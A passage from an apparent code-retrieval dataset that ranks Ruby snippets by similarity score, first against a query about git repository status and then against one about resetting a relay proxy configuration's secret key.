"5bfe4658d8d504247d8fc3edf2ee38fa", "score": "0.625989", "text": "def check_repository\n run_check_in_repository '-a -m -c'\n end", "title": "" }, { "docid": "f404464d9209d3e06c08286d8b8873e4", "score": "0.6258877", "text": "def repo?\n Pkg::Util.in_project_root do\n _, _, ret = Pkg::Util::Execution.capture3(\"#{Pkg::Util::Tool::GIT} rev-parse --git-dir\")\n Pkg::Util::Execution.success?(ret)\n end\n end", "title": "" }, { "docid": "98e681f6f076be09c1377a2ae4dba18e", "score": "0.6248147", "text": "def repo?\n system('git rev-parse --is-inside-work-tree >/dev/null 2>&1')\n end", "title": "" }, { "docid": "ec47ccfe19a6d2088e1ae26a49a481d1", "score": "0.6245871", "text": "def status\n last_commit ? last_commit.status : \"pending\"\n end", "title": "" }, { "docid": "7b6706fca287d294fea5e87ee44eef48", "score": "0.6235667", "text": "def available?(silent = false)\n system(\"git status > /dev/null 2> /dev/null\")\n end", "title": "" }, { "docid": "01ba0b959316fd21a1ad765d3f1fc91e", "score": "0.6234846", "text": "def git(*args)\n output = exec_git(*args)\n $?.success? ? output : ''\n end", "title": "" }, { "docid": "01ba0b959316fd21a1ad765d3f1fc91e", "score": "0.6234846", "text": "def git(*args)\n output = exec_git(*args)\n $?.success? ? output : ''\n end", "title": "" }, { "docid": "d297ca74fa1d16148bb85ac0de320a56", "score": "0.6227538", "text": "def git_present?()\n _, _, status = Shell::execute_shell_commands(\"which git\", [:silent_command, :suppress_output])\n return status\nend", "title": "" }, { "docid": "0fe2e33331617155b91f4af447bce8f2", "score": "0.6225644", "text": "def git_state\n Log.info \"Reading git state\"\n ref_parse = %r{^(\\w+)\\s+refs/(heads?|tags)/([\\w/-_]+)(\\^\\{\\})?$}\n `git --git-dir=#{git_dir} show-ref --dereference 2>/dev/null`.lines.\n inject({}) {|agg, line| agg.merge!(line =~ ref_parse ? {$3 => $1} : {})}\n end", "title": "" }, { "docid": "f3433e37ab9af5c60f24db869ea5e768", "score": "0.62254375", "text": "def test_status_internal\n result = Git.status_internal @@status_raw\n assert_equal @@status_parsed, result\n end", "title": "" }, { "docid": "6911f20565d44ee5639b8adc594ed0af", "score": "0.62237936", "text": "def repo\n GITREPO\n end", "title": "" }, { "docid": "6911f20565d44ee5639b8adc594ed0af", "score": "0.62237936", "text": "def repo\n GITREPO\n end", "title": "" }, { "docid": "6c28d8aa28389bc7ef2503dcca54ba98", "score": "0.6221485", "text": "def status\n\t\t\t\treturn ''.freeze unless status_readable?\n\t\t\t\tIO.read(File.join(PATH, 'status')).tap(&:strip!)\n\t\t\tend", "title": "" }, { "docid": "e5b0c38e176924e4042b548d37158e45", "score": "0.621895", "text": "def status\n cmd(\"status\")\n end", "title": "" }, { "docid": "4fe1cab7d6e075946a209ee1e096a444", "score": "0.6215586", "text": "def git_sha\n Pkg::Util.in_project_root do\n %x{#{GIT} rev-parse HEAD}.strip\n end\n end", "title": "" }, { "docid": "7f2ad290a70c1ecd02fa2c1d093087e8", "score": "0.62143165", "text": "def sha\n git_repo.sha\n end", "title": "" }, { "docid": "6f0748055530241966fcdb3be50f4684", "score": "0.62119657", "text": "def status()\n\t\tmodified_files = get_modified_files_list\n\t\tready_for_commit = Dir.glob(\"@*\")\n\t\tDir.open(@currentDir).each do |file|\n\t\t\tif(modified_files.include?(file))\n\t\t\t\tputs file + ' --- M'\n\t\t\telsif(ready_for_commit.include?('@'+file))\n\t\t\t\tputs file + ' --- A'\n\t\t\telse\n\t\t\t\ttype = File.extname(file)\n\t\t\t\tfile.slice!(type)\n\t\t\t\tif !is_in_repo?(file)\n\t\t\t\t\tfile = file + type\n\t\t\t\t\tputs file + ' --- ?' if(!file.start_with?('@') && !directory_exists?(file) && !file.start_with?('.') && file != __FILE__)\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend", "title": "" }, { "docid": "5b93712b21baf9095db2d43bfb6e8556", "score": "0.62113076", "text": "def status_text\n Subversion.status_text(@path)\n end", "title": "" }, { "docid": "1a4b4bd4e02a83b8cb79c6975f224f41", "score": "0.62081295", "text": "def repository\n @git_version.git_repository.git_base.base\n end", "title": "" }, { "docid": "96d85d08a842a2d4f728fc8b0dd60912", "score": "0.619994", "text": "def git_repo?(dir)\n Dir.chdir(dir) { `git rev-parse >/dev/null 2>&1` }\n $?.success?\n end", "title": "" }, { "docid": "342002c3bae182fb940a751d147f0f2d", "score": "0.61971796", "text": "def status\n head :not_modified and return unless status_has_changed?\n end", "title": "" }, { "docid": "597178032023ee72984f60c199d6a6db", "score": "0.61896735", "text": "def get_status(data)\r\n halt 501, \"Not yet implemented, how pitiful.\"\r\n puts \"Git commit status: Not yet implemented, how pitiful.\"\r\nend", "title": "" }, { "docid": "788da9866a32c6f4d2c86df8ab2b3268", "score": "0.61707675", "text": "def statuses(repo, sha, options = T.unsafe(nil)); end", "title": "" }, { "docid": "fbcf1b724209f70387ecb9762a7fe71c", "score": "0.6148135", "text": "def status()\n @status\n end", "title": "" }, { "docid": "9fbeda5cfdd21bc1960ef25b51c7e7da", "score": "0.6143568", "text": "def git_get(url, dir)\n if File.directory? dir\n FileUtils.cd dir\n out = command \"git pull\", \"Update the existing git files in #{dir}\"\n if (!out.empty?) && out[0] =~ /Already up-to-date/\n return false\n end\n else\n command \"git clone #{url} #{dir}\", \"Download files from #{url} to directory #{dir}\"\n FileUtils.cd dir\n end\n true\nend", "title": "" }, { "docid": "17e009cdd1b2c1261cf47198e0a2cb0e", "score": "0.6141743", "text": "def read_repository_service_status(opts = {})\n data, _status_code, _headers = read_repository_service_status_with_http_info(opts)\n data\n end", "title": "" }, { "docid": "a390ae4c681b3bcd502fcf7e40a49937", "score": "0.61369944", "text": "def status_summary\n if @changed == 0 && @untracked == 0\n \"good\"\n \n elsif @changed > 0 && @untracked == 0\n \"questionable\"\n \n else\n # both untracked and changed files in the repo\n \"poor\"\n end\n end", "title": "" }, { "docid": "0e4913f0872955450dda004d3573aa46", "score": "0.61316407", "text": "def git\n Smeagol.git\n end", "title": "" }, { "docid": "2a6389617e69c51d70b8caaefc690a94", "score": "0.61292905", "text": "def git_repo?\n File.exists? '.git'\n end", "title": "" }, { "docid": "0c1e37399dccac0c21c7f7fb9f84fe08", "score": "0.6124427", "text": "def getGitVersion\n @@gitVersion ||= `git log -1 --format=%cd`\n end", "title": "" }, { "docid": "782bd1eadb48ae1fbd8f3806931f68cf", "score": "0.611888", "text": "def status\n return :deleted if @deleted\n return :finished if @finished\n\n state = Status.to_sym(@server.read(links[:status], \"text/plain\",\n @credentials))\n\n @finished = (state == :finished)\n state\n end", "title": "" }, { "docid": "1461b024e1415ac400b852db21d09e0d", "score": "0.61183476", "text": "def solo_repo_presence() File.join(solo_dir, '.git', 'HEAD') end", "title": "" }, { "docid": "3c208c9527d3c722c7bec04b74502eda", "score": "0.6106568", "text": "def hg_repo?(dir)\n Dir.chdir(dir) { hg('status >/dev/null 2>&1') }\n $?.success?\n end", "title": "" }, { "docid": "0593212f5eb4e47e414b715bec9ad47b", "score": "0.60903394", "text": "def info\n # Keep info in a memory cache, so that we don't query git for nothing\n unless defined?(@info)\n git = nil\n begin\n git = Git.open(@repository_path)\n rescue\n log_debug \"Platform #{@repository_path} is not a git repository\"\n end\n @info =\n if git\n git_status = git.status\n git_commit = git.log.first\n {\n repo_name: git.remotes.empty? ? File.basename(@repository_path) : File.basename(git.remotes.first.url).gsub(/\\.git$/, ''),\n commit: {\n id: git_commit.sha,\n ref: git_commit.name,\n message: git_commit.message,\n date: git_commit.date.utc,\n author: {\n name: git_commit.author.name,\n email: git_commit.author.email\n }\n },\n status: {\n changed_files: git_status.changed.keys,\n added_files: git_status.added.keys,\n deleted_files: git_status.deleted.keys,\n untracked_files: git_status.untracked.keys\n }\n }\n else\n {\n repo_name: File.basename(@repository_path)\n }\n end\n end\n @info\n end", "title": "" }, { "docid": "0228e099c9168bf07baef1a6492e7fbe", "score": "0.60810685", "text": "def status\n return @status\n end", "title": "" }, { "docid": "5f768e98d3686ec1b7c6a9a0100e8318", "score": "0.60791487", "text": "def api_status\n path = self.api_root + '/status'\n begin\n response = RestClient::Request.execute(method: :get, url: path, headers: get_default_headers)\n JSON.parse(response.body)\n rescue RestClient::ExceptionWithResponse => e\n Rails.logger.error \"Terra Data Repo status error: #{e.message}\"\n e.response\n end\n end", "title": "" }, { "docid": "aa7a6253edb88b5b6c72ec889329b2ba", "score": "0.60776085", "text": "def check_sync_status(response)\n puts \"response.matches[0]=#{response.matches[0][0]}\"\n repo_id = response.matches[0][0]\n if repo_id\n unless repo_id\n response.reply \"Invalid repository id\"\n end\n begin\n result = sync_status(repo_id)\n response.reply JSON.pretty_generate(result)\n rescue Exception => e\n response.reply e.message\n end\n else\n response.reply \"No repoistory id specified\"\n end\n end", "title": "" }, { "docid": "4d99f34c99af62baa90b1c95826c42b2", "score": "0.60750514", "text": "def getStatus\r\n\t\t\t\t\treturn @status\r\n\t\t\t\tend", "title": "" }, { "docid": "4d99f34c99af62baa90b1c95826c42b2", "score": "0.60750514", "text": "def getStatus\r\n\t\t\t\t\treturn @status\r\n\t\t\t\tend", "title": "" }, { "docid": "245e4aad95524cb21cb768dce2846dfe", "score": "0.60710424", "text": "def status\n if not @status\n stat = @head[\"Status\"]\n stat = stat.split(' ')[0] if stat\n\n @status = stat || \"200\"\n end\n\n @status\n end", "title": "" }, { "docid": "a85eaee7a9a829250f4fd21fcaabddcb", "score": "0.60710317", "text": "def get_status\n @status\n end", "title": "" } ]
d0147ea18c33866dfad33f8744d0053a
Reset a relay proxy configuration's secret key with an optional expiry time for the old key.
[ { "docid": "3415d7a66dcdc30850c73aeda11d7618", "score": "0.5298997", "text": "def reset_relay_proxy_config(id, opts = {})\n data, _status_code, _headers = reset_relay_proxy_config_with_http_info(id, opts)\n data\n end", "title": "" } ]
[ { "docid": "b69e85f54f111b5ad1e60651fa117499", "score": "0.67935586", "text": "def reset_secret_key\n service_response = ClientManagement::WebhookSetting::ResetSecretKey.new(params).perform\n render_api_response(service_response)\n end", "title": "" }, { "docid": "9095c9643b6cd9c08b6fd54920f7c9a4", "score": "0.67126364", "text": "def reset\n self.key = nil\n self.secret = nil\n self\n end", "title": "" }, { "docid": "54ef6bc6c2e14f7a9c7ab926830b101c", "score": "0.66547436", "text": "def renew_secret\n @raw_secret = secret_generator.generate\n secret_strategy.store_secret(self, :secret, @raw_secret)\n end", "title": "" }, { "docid": "0bc635ff194404d0880c7e1cdcbb2cd0", "score": "0.6653124", "text": "def reset_secret_keys!\n S_MUTEX.synchronize { @keys.clear }\n end", "title": "" }, { "docid": "4ae96111b9fc416d2c3dd466e880b900", "score": "0.6340827", "text": "def reset_secret_token\n self.secret_token = (Digest::SHA1.hexdigest rand(999999999).to_s)[0..16]\n end", "title": "" }, { "docid": "4b1670c42cf16041af9bdbe51425c368", "score": "0.61893165", "text": "def regenerate_secret!\n regenerate_secret\n save!\n end", "title": "" }, { "docid": "4e9a327cc736637ed416e0a1c9d49b56", "score": "0.60585195", "text": "def reset!\n self.redis_endpoint = DEFAULT_REDIS_ENDPOINT\n self.access_token_lifetime = DEFAULT_ACCESS_TOKEN_LIFETIME\n end", "title": "" }, { "docid": "8a3d7c6c003c43192255942950115a10", "score": "0.6048665", "text": "def regenerate_secret\n self.secret = SecureRandom.hex(16).to_s\n end", "title": "" }, { "docid": "7592beede1b0367bca2381da8ce279c2", "score": "0.5945181", "text": "def reset_key_lease\n public_key_lease = (DateTime.now + PUBLIC_KEY_LEASE_DAYS).to_date\n end", "title": "" }, { "docid": "de12d57876f678db62a7e712dd14b1a7", "score": "0.59312224", "text": "def reset_key_lease\n self.public_key_lease = (DateTime.now + PUBLIC_KEY_LEASE_DAYS).to_date\n end", "title": "" }, { "docid": "7559b5867be7c8d53f94467c9abe6d7a", "score": "0.5927285", "text": "def renew token, secret\n update_attributes token: token, secret: secret, is_invalid: false\n end", "title": "" }, { "docid": "f064ba66ae0a25f6e98d49aee1ef6577", "score": "0.58485824", "text": "def reset_key_lease!\n reset_key_lease\n self.save\n end", "title": "" }, { "docid": "3aeee93afcebb4ef26079b0806586e90", "score": "0.5836931", "text": "def reset\n VALID_CONFIG_KEYS.each do |k, v|\n send(\"#{k}=\".to_sym, v)\n end\n\n options\n end", "title": "" }, { "docid": "d5ddc7c35ab6ad6b92c2a0c3ac1b40d3", "score": "0.5810767", "text": "def reset\n self.api_key = ''\n self\n end", "title": "" }, { "docid": "17ce1028342ee6879ee02af52d30b8e8", "score": "0.57971317", "text": "def reset\n self.commission = DEFAULT_COMMISSION\n self.key = nil\n self.secret = nil\n self\n end", "title": "" }, { "docid": "1ff5a1483b440b9b3504ea6089a4faed", "score": "0.57570314", "text": "def reset\r\n self.api_key = DEFAULT_API_KEY\r\n self.api_secret = DEFAULT_API_SECRET\r\n end", "title": "" }, { "docid": "6b653e492aa5b847e859c50e434efe8e", "score": "0.5704485", "text": "def oldsecret=(secret)\r\n return if (secret.nil? or secret.empty?)\r\n if (secret.size < 16)\r\n fatal(\"Error: oldsecret=: Secret must be at least 16 characters.\")\r\n end\r\n @oldsignkey = derive(secret, \"SIGNATURE\")\r\n @oldcryptkey = derive(secret, \"ENCRYPTION\")\r\n end", "title": "" }, { "docid": "315a34d329f1120447af23a0e65b4c77", "score": "0.569576", "text": "def oldsecret=(secret)\n return if (secret.nil? or secret.empty?)\n if (secret.size < 16)\n fatal(\"Error: oldsecret=: Secret must be at least 16 characters.\")\n end\n @oldsignkey = derive(secret, \"SIGNATURE\")\n @oldcryptkey = derive(secret, \"ENCRYPTION\")\n end", "title": "" }, { "docid": "1d27eba1a70dc44899aa132c098ab5a8", "score": "0.56874293", "text": "def reset\n redis.rem(key)\n end", "title": "" }, { "docid": "97545ed7ded8a32fd1bb7af0ba2e68ff", "score": "0.5685578", "text": "def renew(token, increment = 0, options = {})\n headers = extract_headers!(options)\n json = client.put(\"/v1/auth/token/renew\", JSON.fast_generate(\n token: token,\n increment: increment,\n ), headers)\n return Secret.decode(json)\n end", "title": "" }, { "docid": "ef33fd27684490a0201f93001d9279a9", "score": "0.56847113", "text": "def reset\n @secure_api_pass_phrase = ''\n @secure_api_salt = ''\n @secure_api_prefix = 'ssprefix-'\n @secure_api_suffix = '-sssuffix'\n nil\n end", "title": "" }, { "docid": "bb90fd6ab284de48c1f527028b129037", "score": "0.5683626", "text": "def reset\n safe { redis.rem(key) }\n end", "title": "" }, { "docid": "40238768fab95f42151fb0c34f80df12", "score": "0.56468964", "text": "def reset\n self.api_key = DEFAULT_API_KEY\n self.endpoint = DEFAULT_ENDPOINT\n self\n end", "title": "" }, { "docid": "70d406b836c8e999ba44d7168e48f885", "score": "0.5642187", "text": "def password_reset\n key = self.single_use = generate_password_reset_token\n self.single_use_expires_at = 1.hour.from_now\n key\n end", "title": "" }, { "docid": "b4da386b69609d1c233aac7194436350", "score": "0.5629484", "text": "def reset\n self.app_key = DEFAULT_APP_KEY\n self.master_secret = DEFAULT_MASTER_SECRET\n self.endpoint = DEFAULT_ENDPOINT\n self.http_adapter = DEFAULT_HTTP_ADAPTER\n self.proxy = DEFAULT_PROXY\n self.user_agent = DEFAULT_USER_AGENT\n end", "title": "" }, { "docid": "1fb1592d5ec75514cd68f239ee5a1aa4", "score": "0.5608578", "text": "def renew\n token = Vault.auth_token.renew_self\n\n Vaulttool.store(token.auth.client_token) unless token.nil?\n end", "title": "" }, { "docid": "98de200108c1574665172060e7feef6b", "score": "0.55692536", "text": "def reset_password\n klass = Pillowfort.config.token_class.to_s.classify.constantize\n random = klass.friendly_secret(40)\n\n self.password = random\n self.password_confirmation = random\n end", "title": "" }, { "docid": "d38b879f4b2f77eee74578d2f5c2fdcb", "score": "0.5568676", "text": "def reset_config\n configure do |config|\n config.ahamove_api_key = nil\n config.ahamove_config_path = nil\n end\n end", "title": "" }, { "docid": "2a2b00deae5ad9273027747c09118584", "score": "0.55683935", "text": "def reset!\n DEFAULTS_CONFIGS.each { |k, v| send(\"#{k}=\", v) }\n end", "title": "" }, { "docid": "c84f06d940db67ed4cbeeb0ad7bbc36d", "score": "0.5559778", "text": "def reset\n self.api_token = ENV['RDM_YAML_PATH']\n Rundeck.reset\n end", "title": "" }, { "docid": "acb1691b9b0e543edeef51b81e4fee7d", "score": "0.55470735", "text": "def reset_api_key(opts = {})\n reset_api_key_with_http_info(opts)\n return nil\n end", "title": "" }, { "docid": "ac70dbd0e2ae13e3e119266e41b0729b", "score": "0.55244935", "text": "def clear_reset_key\n self.reset_key_hash = nil\n self.reset_sent_at = nil\n end", "title": "" }, { "docid": "a944546cdb635d25b903686d0ad1d299", "score": "0.5499335", "text": "def rekey(options)\n call(\"rekey\", Message.new(options))\n end", "title": "" }, { "docid": "4f51e28362b7151aeb1faaf3bddecace", "score": "0.54912055", "text": "def reset\n SETTINGS.each { |key| send(\"#{key}=\", nil) }\n OPTIONS.each { |key| send(\"#{key}=\", SponsorPay::Configuration.const_get(\"DEFAULT_#{key.upcase}\"))}\n end", "title": "" }, { "docid": "9f106fdf8e516f6ccbf50a159ee78bc3", "score": "0.5477558", "text": "def reset(key = nil)\n init_key(key)\n\n self.encoded = ''\n end", "title": "" }, { "docid": "1f6c9b57938c39f89c5360afba10e3f1", "score": "0.54772586", "text": "def chef_secret_attribute_clear(keys)\n #\n # chef_secret_attribute_clear(['namespace', ... , 'key'])\n #\n keys[0...-1].inject(default, :[])[keys.last] = 'SECRET'\n end", "title": "" }, { "docid": "1f0aa1ccbb06f8cb74e54fd8a22998b1", "score": "0.5466083", "text": "def renew_self(increment = 0, options = {})\n headers = extract_headers!(options)\n json = client.put(\"/v1/auth/token/renew-self\", JSON.fast_generate(\n increment: increment,\n ), headers)\n return Secret.decode(json)\n end", "title": "" }, { "docid": "7441c04ad97190578c8fce1453121253", "score": "0.5452381", "text": "def reset\n @endpoint = DEFAULT_ENDPOINT\n @app_id = DEFAULT_APP_ID\n end", "title": "" }, { "docid": "75b95cf2ca956d731d01137b12ce2bdc", "score": "0.54518723", "text": "def reset!\n Ivapi::Configuration.keys.each do |key|\n instance_variable_set(:\"@#{key}\", Ivapi::Default.options[key])\n end\n self\n end", "title": "" }, { "docid": "87857602ae07d83caa3ff42e70c60dff", "score": "0.54484546", "text": "def restore_api_key(key, request_options = {})\n post(Protocol.restore_key_uri(key), :write, request_options)\n end", "title": "" }, { "docid": "686c82e15d99c7106ed81068dd8276ff", "score": "0.5437111", "text": "def reset\n self.application_key = DEFAULT_APPLICATION_KEY\n self.endpoint = DEFAULT_ENDPOINT\n self.user_agent = DEFAULT_USER_AGENT\n self.username = DEFAULT_USERNAME\n self.password = DEFAULT_PASSWORD\n end", "title": "" }, { "docid": "8b89d2484c64184b399b92db3a93097f", "score": "0.5436663", "text": "def rekey!\n @client_packet = @server_packet = nil\n @initialized = false\n send_kexinit\n end", "title": "" }, { "docid": "85bd41da2512397e9c5dbb1d93bad409", "score": "0.5435355", "text": "def reset_config!\n configure do |c|\n c.from_h(defaults)\n end\n end", "title": "" }, { "docid": "6b57e5d193575bf495f5da50ed0268f4", "score": "0.5433732", "text": "def reset\n hash.clear\n expire_cache!\n self\n end", "title": "" }, { "docid": "da39245baa52f73f317b828ce570730b", "score": "0.5386276", "text": "def reset\n self.api_key = DEFAULT_API_KEY\n self.endpoint = DEFAULT_ENDPOINT\n self.proxy = DEFAULT_PROXY\n self.user_agent = DEFAULT_USER_AGENT\n end", "title": "" }, { "docid": "380889bc42b384abf9421d713cda3bd8", "score": "0.53794664", "text": "def forget\n update_attribute(:remember_hash, nil)\n end", "title": "" }, { "docid": "e2a801257ff73f517ab968144922d4b9", "score": "0.53710103", "text": "def decrypt!(key)\n @secret_keys.delete(key)\n nil\n end", "title": "" }, { "docid": "e2a801257ff73f517ab968144922d4b9", "score": "0.53710103", "text": "def decrypt!(key)\n @secret_keys.delete(key)\n nil\n end", "title": "" }, { "docid": "aac0c2090ae376b1507203076e33d9f1", "score": "0.5367108", "text": "def renew_access_token\n self.access_token = SecureRandom.hex\n end", "title": "" }, { "docid": "cbf3688cede4b471518db3bd487f839f", "score": "0.53623766", "text": "def reset!\n Putio::Configurable.keys.each do |key|\n public_send(\"#{key}=\".to_sym, Putio::Defaults.options[key])\n end\n self\n end", "title": "" }, { "docid": "9a4cd94a29893ee61c591485ec51204f", "score": "0.5362024", "text": "def reset\n self.username = DEFAULT_USERNAME\n self.password = DEFAULT_PASSWORD\n self.endpoint = DEFAULT_ENDPOINT\n end", "title": "" }, { "docid": "c863d9c7aafb61d42035f9f510c5f8c3", "score": "0.5359861", "text": "def reset\n self.endpoint = API_URL\n self.api_version = API_VERSION\n self.api_key = nil\n self.base_uid = ''\n end", "title": "" }, { "docid": "2960983f1276c3f200b7529f637dcc7a", "score": "0.5351075", "text": "def revoke\n Lib.keyctl_revoke id\n self\n end", "title": "" }, { "docid": "0142b012d99fd436545c7bc23f87deb1", "score": "0.53444517", "text": "def expire!(key); end", "title": "" }, { "docid": "75cd447221f61b79694e1c3eb4f726e0", "score": "0.5339983", "text": "def reset!\n Ivapi::Configuration.each_key do |key|\n instance_variable_set(:\"@#{key}\", Ivapi::Default.options[key])\n end\n self\n end", "title": "" }, { "docid": "b2bafa8ea538560f460b92c47a3eeba4", "score": "0.5338322", "text": "def renew_talking_token!\n @talking_token = nil\n true\n end", "title": "" }, { "docid": "0a4d100c089b454260256c7947eeea3e", "score": "0.53342503", "text": "def reset!\n @options = {}\n self.client_id = DEFAULT_CLIENT_ID\n self.client_secret = DEFAULT_CLIENT_SECRET\n self.adapter = DEFAULT_ADAPTER\n self.endpoint = DEFAULT_ENDPOINT\n self.user_agent = DEFAULT_USER_AGENT\n self.token_type = DEFAULT_TOKEN_TYPE\n self.debug = ENV['DEBUG']\n self\n end", "title": "" }, { "docid": "907209667cda718e3f39cbb695fc7aed", "score": "0.53292733", "text": "def regenerate_key\n u = current_user\n begin\n u.reset_single_access_token!\n flash[:notice] = _('Your RSS URL has been regenerated.')\n rescue Exception\n flash[:error] = _(\"Couldn't regenerate the URL! Please try again.\")\n ensure\n redirect_to :back\n end\n end", "title": "" }, { "docid": "380303fe56a0b3b1d59095cedd5d0691", "score": "0.53237784", "text": "def reset!\n # Vedeu::Log.logger.debug('Resetting configuration.')\n\n instance.reset!\n end", "title": "" }, { "docid": "3a249645dc6e864ebf9ce26a5d5659db", "score": "0.5317438", "text": "def reset\n @keys.clear\n @buffer.clear\n @cipher.reset unless @keys[0].nil?\n @cipher.iv = \"\\x00\" * 16\n @cipher.encrypt\n self\n end", "title": "" }, { "docid": "cbf8930a9c3f264fd1a7df5149f97a00", "score": "0.5317121", "text": "def reset_token(access_token, options = T.unsafe(nil)); end", "title": "" }, { "docid": "80677e2f5be4d5a39712e0f60ffe6a9b", "score": "0.5314552", "text": "def reset!(key)\n # If $redis is not available, it tries to create the redis connection\n $redis ||= Redis.new(:url => 'redis://127.0.0.1:6379')\n\n prepend = (defined?(Rails) ? Rails.env + '_' : '')\n\n # Used for 'when' happened\n key_for_time = prepend + key + '_time'\n # Used for actual data\n key_for_value = prepend + key + '_values'\n\n $redis.del(key_for_value, key_for_time)\n end", "title": "" }, { "docid": "36a6fb33110c543358a620213f777a58", "score": "0.53109163", "text": "def reset!\n Liefery::Configurable.keys.each do |key|\n send(:\"#{key}=\", Liefery::Default.options[key])\n end\n self\n end", "title": "" }, { "docid": "0def8072183c0ab6d993b9e15c72825e", "score": "0.5310786", "text": "def reset_credentials\n Aws.config.delete(:credentials)\n end", "title": "" }, { "docid": "a1b224c9931be492f335debbf50c8365", "score": "0.5306399", "text": "def regenerateKey\n key = nil\n\n begin\n key = User.secureKey_hash(createKey())\n end while (User.find_by_idAPI(key))\n\n self.idAPI = key\n self.secureKey = generateHash(self.salt, key)\n self.token_update = Time.now + 3600\n end", "title": "" }, { "docid": "1e76a7cb4342c7823a3bc33c37dea4c5", "score": "0.530268", "text": "def reset_token_expiry_interval\n 30.minutes\n end", "title": "" }, { "docid": "d7339e13ee14174539f4de17b185bdd6", "score": "0.5302366", "text": "def reset\n self.access_token = DEFAULT_ACCESS_TOKEN\n self.refresh_token = DEFAULT_REFRESH_TOKEN\n self.api_version = DEFAULT_API_VERSION\n self.endpoint = DEFAULT_ENDPOINT\n self.adapter = DEFAULT_ADAPTER\n self.sandbox = false\n end", "title": "" }, { "docid": "7b721ef32e7e1ae4100b560d66b7259c", "score": "0.53022057", "text": "def reset_session_token!\n self.update!(session_token: SecureRandom.urlsafe_basic(16))\n self.session_token\n end", "title": "" }, { "docid": "8e0fc1e311bd2d1dcd855077afe9c99d", "score": "0.5293621", "text": "def simulate_expire\n redis.del(\"#{@prefix}-key1\")\n end", "title": "" }, { "docid": "8e0fc1e311bd2d1dcd855077afe9c99d", "score": "0.5293621", "text": "def simulate_expire\n redis.del(\"#{@prefix}-key1\")\n end", "title": "" }, { "docid": "8e0fc1e311bd2d1dcd855077afe9c99d", "score": "0.5293621", "text": "def simulate_expire\n redis.del(\"#{@prefix}-key1\")\n end", "title": "" }, { "docid": "5959a115fe4c0326a5713592a29b3485", "score": "0.5291678", "text": "def prepare_password_reset\n update(\n password_reset_token: SecureRandom.hex,\n password_reset_expire: 1.day.from_now\n )\n password_reset_token\n end", "title": "" }, { "docid": "3e7264c7f9dfc2ee7814a1d6d8084e7a", "score": "0.5291004", "text": "def delete_secret_key(name)\n raise NotImplementedError # TODO\n end", "title": "" }, { "docid": "e9b39271268efcdd06095f53b72a8f97", "score": "0.5290111", "text": "def remove_secret_key(key_id)\n @store.delete(key_id)\n end", "title": "" }, { "docid": "b90d709f1911100f787c071f41324d3f", "score": "0.52853966", "text": "def reset\n self.uin = DEFAULT_UIN\n self.password = DEFAULT_PASSWORD\n self.server = DEFAULT_SERVER\n self.port = DEFAULT_PORT\n self\n end", "title": "" }, { "docid": "4604f4bb9cd47172439c06ccb58818c5", "score": "0.52847564", "text": "def reset!\n VacmanController::LowLevel.reset!(@token_hash)\n end", "title": "" }, { "docid": "572a87819038d202902c2d399baac522", "score": "0.52819055", "text": "def reset!\n @settings.send(:reset!)\n end", "title": "" }, { "docid": "04b4657b3b9aebafc67c951ac1eac3a3", "score": "0.52797216", "text": "def reset\n self.access_token = nil\n self.endpoint = DEFAULT_ENDPOINT\n self\n end", "title": "" }, { "docid": "058530665e941915d5f5ec7cd2bbf752", "score": "0.5278307", "text": "def reset\n self.endpoint = DEFAULT_ENDPOINT\n self.username = DEFAULT_USERNAME\n self.password = DEFAULT_PASSWORD\n self.user_agent = DEFAULT_USER_AGENT\n self\n end", "title": "" }, { "docid": "310294e04c9e044508fd0a4d5fb9c16d", "score": "0.5275052", "text": "def reset!\n @api_secret = nil\n @app_id = nil\n @auto_insert_middleware = true\n @events = {}\n @error_handler = nil\n @file_path = 'config/castle.yml'\n @logger = defined?(::Rails) ? Rails.logger : nil\n @transport = Transport::Sync\n @pub_key = nil\n end", "title": "" }, { "docid": "d931d0f6285605dc89918e85b6c3d70a", "score": "0.5274148", "text": "def reset_config\n configure do |config|\n\n config.client_id = 'JUNK'\n config.secret = 'JUNK'\n config.endpoint = 'https://tartan.plaid.com/'\n config.certpath = 'ca-bundle.crt'\n config.headers = {'Content-Type'=>'application/x-www-form-urlencoded'}\n config.webhook_address = 'http://domain.com/plaid_webhook/antennas'\n config.save_full_response = true\n\n end\n end", "title": "" }, { "docid": "0e59007cb454d0208a932b574190113a", "score": "0.5274063", "text": "def clear_password\n Security::InternetPassword.delete(server: server_name(self.keychain_name))\n end", "title": "" }, { "docid": "7c5f7a4a3bbfc302fee1cc44fb34a70c", "score": "0.5269676", "text": "def renew_token(new_token); end", "title": "" }, { "docid": "7bb563fd30a8c76936854f9a226cf293", "score": "0.52657455", "text": "def reset!(options = {})\n Azure::Configurable.keys.each do |key|\n value = if self == Azure\n Azure::Default.options[key]\n else\n Azure.send(key)\n end\n\n if key == :management_certificate\n @certificate_key = nil\n @private_key = nil\n send(:\"#{key.to_s + '='}\", value)\n else\n instance_variable_set(:\"@#{key}\", options.fetch(key, value))\n end\n end\n self.send(:reset_agents!) if self.respond_to?(:reset_agents!)\n self\n end", "title": "" }, { "docid": "fae41ca35716f7f36fa8a69e391753da", "score": "0.5258971", "text": "def reset\n Botan.call_ffi(:botan_hash_clear, @ptr)\n self\n end", "title": "" }, { "docid": "be01d5293436c11a1b9f30a6c01777f3", "score": "0.52472246", "text": "def reset\n self.base_url = DEFAULT_BASE_URL\n self.method = DEFAULT_METHOD\n self.secret_key = DEFAULT_SECRET_KEY\n self.query_string = DEFAULT_QUERY_STRING\n end", "title": "" }, { "docid": "8d4bf07cc64a9e049a8ff84619038d55", "score": "0.52470696", "text": "def reset\n do_url 'reset', :put\n end", "title": "" }, { "docid": "06657a4a7e96d1e890aacff56dcef9d3", "score": "0.52393156", "text": "def force_forget_me!\n sorcery_orm_adapter.update_attributes(\n sorcery_config.remember_me_token_attr_name => nil,\n sorcery_config.remember_me_token_expires_at_attr_name => nil\n )\n end", "title": "" }, { "docid": "32da4814bc935471b8d4840016062419", "score": "0.5233927", "text": "def assign_secret_key\n self.secret_key = self.get_secret_key\n end", "title": "" }, { "docid": "75f4eb3eae2c195e98c9780f301f523e", "score": "0.5228786", "text": "def reset_session!(realm='application')\n token = session_tokens.where(realm: realm).first_or_initialize\n token.reset!\n token.secret\n end", "title": "" }, { "docid": "94f15a8c525c370d5a901334479d37c1", "score": "0.5224614", "text": "def reset!(options = {})\n Azure::ARM::Configurable.keys.each do |key|\n default_value = Azure::ARM::Default.options[key]\n instance_variable_set(:\"@#{key}\", options.fetch(key, default_value))\n end\n\n self\n end", "title": "" }, { "docid": "481d3a42e57f5ef5a650c488b5e9ebda", "score": "0.5221515", "text": "def reset!\n self.auth_token = nil\n 